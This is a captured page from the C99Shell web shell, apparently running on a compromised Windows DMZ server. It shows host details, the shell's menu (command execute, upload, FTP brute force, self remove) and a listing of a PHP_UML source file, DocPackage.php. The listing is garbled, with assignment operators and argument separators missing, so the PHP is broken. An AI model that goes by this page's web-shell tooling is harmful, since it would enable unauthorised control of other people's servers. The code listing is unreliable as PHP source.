!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\PHP\UML\Output\HtmlNew\   drwxrwxrwx
Free 3.26 GB of 39.52 GB (8.25%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DocPackage.php (4.18 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP_UML
 *
 * PHP version 5
 *
 * @category PHP
 * @package  PHP_UML
 * @author   Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license  http://www.gnu.org/licenses/lgpl.html LGPL License 3
 * @version  SVN: $Revision: 169 $
 * @link     http://pear.php.net/package/PHP_UML
 * @since    $Date: 2011-09-12 01:28:43 +0200 (lun., 12 sept. 2011) $
 */

/**
 * Implementation of the HTML renderer for a Package
 * 
 * @category   PHP
 * @package    PHP_UML
 * @subpackage Output
 * @subpackage HtmlNew
 * @author     Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license    http://www.gnu.org/licenses/lgpl.html LGPL License 3
 */
class PHP_UML_Output_HtmlNew_DocPackage extends PHP_UML_Output_HtmlNew_DocElement
{
    
/**
     * Generates and saves the HTML code for a package
     * 
     * @param PHP_UML_Metamodel_Package $p Starting package
     */
    
public function render($p)
    {
        if (
$this->getContextPackage()->dir=='') {
            
$fullName $p->name;
        } else {
            
$fullName rtrim($this->getAbsPath($pself::T_NAMESPACE), self::T_NAMESPACE);
        }

        
$nav $this->getNavigationBlock();

        
$tit $this->getTitleBlock($fullName);

        
$str  $this->getDescriptionBlock($p);
        
$str .= $this->getPropertyBlock($p);
        
$str .= $this->getFunctionBlock($p);

        
$str $this->replaceInTpl($str$nav$tit$fullName);

        
$this->save(self::PACKAGE_FILENAME$str);
    }

    private function 
getDescriptionBlock($p)
    {
        
$str '';

        if (!
is_null($p->description)) {
            
$str .= '<div class="descriptionPkg"><p><ul class="single">'.$this->getTagsAsList($p->description).'</ul></p></div>';
        }

        if (
count($p->nestedPackage)>0) {
            
$str .= '<h2>Packages</h2>';
            
$str .= '<ul class="summary">';
            foreach (
$p->nestedPackage as $np) {
                
$str .= '<li>';
                
$str .= '<a href="'.$np->name.'/'.self::PACKAGE_FILENAME.'.'.self::FILE_EXT.'" class="package" target="main">'.$np->name.'</a>';
                
$str .= '</li>';
            }
            
$str .= '</ul>';
        }

        
$display false;
        
$tmp     '<h2>Classes</h2>';
        
$tmp    .= '<ul class="summary">';
        foreach (
$this->getContextPackage()->classes as $o) {
            if (
$this->getContextPackage()->dir!='' || !in_array($o->name$this->hiddenClasses)) {
                
$display true;
                
$tmp    .= '<li>'.
                    
'<a href="'.self::getObjPrefix($o).$o->name.'.'.self::FILE_EXT.'" class="'.self::getObjStyle($o).'" target="main">'.$o->name.'</a>'.
                    
'</li>';
            }
        }
        
$tmp .= '</ul>';
        if (
$display)
            
$str .= $tmp;

        
$display false;
        
$tmp     '<h2>Interfaces</h2>';
        
$tmp    .= '<ul class="summary">';
        foreach (
$this->getContextPackage()->interfaces as $o) {
            if (
$this->getContextPackage()->dir!='' || !in_array($o->name$this->hiddenInterfaces)) {
                
$display true;
                
$tmp    .= '<li>'.
                    
'<a href="'.self::getObjPrefix($o).$o->name.'.'.self::FILE_EXT.'" class="'.self::getObjStyle($o).'" target="main">'.$o->name.'</a>'.
                    
'</li>';
            }
        }
        
$tmp .= '</ul>';
        if (
$display)
            
$str .= $tmp;

        return 
$str;
    }

    
/**
     * Return the HTML code for the navigation bar
     * 
     * @return string
     */
    
private function getNavigationBlock()
    {
        
$str $this->getCommonLinks();
        if (!empty(
$this->getContextPackage()->rpt))
            
$str .= $this->getNavigParentPackage('../');
        return 
$str;
    }

    private function 
getTitleBlock($name)
    {
        return 
'<h1 class="'.$this->getStyleName().'">'.$name.'</h1>';
    }

    private function 
getStyleName()
    {
        return 
$this->getContextPackage()->dir=='' 'model' 'package';
    }

    protected function 
getTypeName()
    {
        return 
$this->getStyleName();
    }

    protected function 
getPropertyStyle($visibility)
    {
        return 
'property';
    }

    protected function 
getFunctionStyle($visibility)
    {
        return 
'method';
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--